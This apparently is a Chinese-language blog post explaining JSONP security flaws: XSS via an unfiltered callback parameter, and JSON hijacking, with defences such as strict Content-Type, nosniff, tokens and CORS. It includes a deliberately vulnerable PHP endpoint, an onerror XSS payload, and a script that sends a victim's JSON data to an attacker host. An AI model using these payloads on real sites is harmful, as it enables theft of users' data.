http://vinc.top/2017/02/09/jsonp%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/
1、Callback可自定义导致的安全问题
Content-type与XSS漏洞
再输出 JSON 时,没有严格定义好 Content-Type( Content-Type: application/json )然后加上 callback 这个输出点没有进行过滤直接导致了一个典型的 XSS 漏洞。例如:
<script> function test(v){ alert(v.name); } </script> <script src="http://10.59.0.248/1.php?callback=test"></script>
1.php:
<?php $callback = $_GET['callback']; print $callback.'({"id" : "1","name" : "vincent"});'; ?>
访问http://10.59.0.248/1.php?callback=test”><img/src=x οnerrοr=alert(1)>
对于这种漏洞,主要修复手段:
1)严格定义 Content-Type: application / json
2)过滤 callback 以及 JSON 数据输出
针对输出结果进行转码处理,但是需要注意UTF-7 XSS,强制指定 Content-Type里的编码 ( Content-Type: application/json; charset=utf-8 )
2、Json劫持
JSON 劫持又为“ JSON Hijacking ”,这里其实是属于CSRF的范畴。攻击者可以在自己的站点中写入一条访问Json的JS,在用户Cookie未过期的情况下,Json中会返回敏感的用户信息,然后攻击者可以获取到数据,并发送到自己的站点。
回调函数是动态,主要有以下几类情况:
1)完全可控(GET变量)
回调函数在URL中指定,我们可以完全控制它。
2)部分可控,比如附加动态的数字,每个会话都不同
如果附加的数字比较短,可以遍历创建回调函数。
3)完全可控,但是没有显示在原始请求中
最后一个场景涉及一个显然没有回调的API调用,因此没有可见的JSONP。 这可能发生在开发人员,为其他软件或代码留下隐藏的向后兼容性只是没有在重构时删除。 因此,当看到没有回调的API调用时,特别是如果JSON格式的数据已经在括号之间,手动添加回调到请求。
如果我们有以下API调用http://10.59.0.248/1.php,我们可能会尝试猜测回调变量:
http://10.59.0.248/1.php?callback=test
http://10.59.0.248/1.php?cb=test
其他的还有func、function、call、jsonp、jsonpcallback等等。
参考案例:
http://www.codesec.net/view/172245.html
敏感数据获取程序如下:
<script> function test(data){ //alert(v.name); var xmlhttp = new XMLHttpRequest(); var url = "http://192.168.192.120/" + JSON.stringify(data); xmlhttp.open("GET",url,true); xmlhttp.send(); } </script> <script src="http://10.59.0.248/1.php?callback=test"></script>
查看下日志:
需要注意的是Content-Type和X-Content-Type-Options头,如果在API请求的响应标头中,X-Content-Type-Options设置为nosniff,则必须将Content-Type设置为JavaScript(text/javascript,application/javascript,text/ecmascript等)来在所有浏览器上生效。 这是因为通过在响应中包含回调,响应不再是JSON,而是JavaScript。
如果配置:
header("Content-type: application/json;charset=utf-8"); header("X-Content-Type-Options:nosniff");
Console输出如下:
Refused to execute script from 'http://10.59.0.248/1.php?callback=test' because its MIME type ('application/json') is not executable, and strict MIME type checking is enabled.
常见的修复方案:
1)Referer正则匹配
常见的有Referer匹配正则编写错误导致正则绕过。
另外在很多情况下,开发者在部署过滤 Referer 来源时,忽视了一个空 Referer 的过滤。一般情况下浏览器直接访问某 URL 是不带 Referer 的,所以很多防御部署是允许空 Referer 的。
可以看到请求头中没有Referer。
2)添加Token
3)放弃使用Jsonp跨域获取数据,使用CORS或者PostMessage